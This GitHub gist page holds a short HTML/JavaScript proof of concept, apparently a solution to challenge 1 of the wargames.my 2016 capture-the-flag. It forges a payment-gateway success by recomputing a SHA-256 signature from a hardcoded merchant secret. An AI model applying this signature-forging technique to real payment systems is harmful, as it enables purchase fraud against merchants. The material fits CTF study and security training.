Last active
May 23, 2016 11:02
-
-
Save najashark/9b6bb338ce046d6dd8a0a194fcfe2cfc to your computer and use it in GitHub Desktop.
C1 solve
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--poc only | |
for challenge 1 backhand coding | |
by nj_--> | |
<html> | |
<title>wargames.my 2016 QuickWin store - Payment Gateway Receiver</title> | |
<script src="https://raw.githubusercontent.com/geraintluff/sha256/gh-pages/sha256.min.js"></script> | |
<script> | |
var txn_status = "1"; | |
var txn_ref = "flag|1463913417"; //change when refresh | |
var amount = "8.52"; | |
var merchant_id = "wgmy"; | |
var return_URL_base64 = "aHR0cHM6Ly9zaG9wLndhcmdhbWVzLm15L3BnX3JlY2VpdmVyLnBocA=="; | |
var txn_id = "3d_1463913453"; //change when refresh | |
var merchant_ref = "Wgmy@LJ88"; | |
var pg_hash = "09ba105d5bb017c81e0ac119a8a9aa7b9f4945a6bf388f03543f4f35a0483585"; | |
var sig = txn_ref + "+" + amount + "+" + merchant_id + "+" + return_URL_base64 + "+" + txn_id+ "+" + merchant_ref+ "+" + txn_status; | |
var sig_hash = sha256(sig); | |
if ((sig_hash == pg_hash) && (txn_status ==1)) { | |
$("#store_stage").html("Thanks for shoppping with us."); | |
document.getElementById('dispatcher').submit(); | |
} | |
else { | |
document.write(txn_status+"||"+txn_ref+"||"+amount+"||"+merchant_id+"||"+return_URL_base64+"||"+txn_id+"||"+sig_hash); | |
} | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment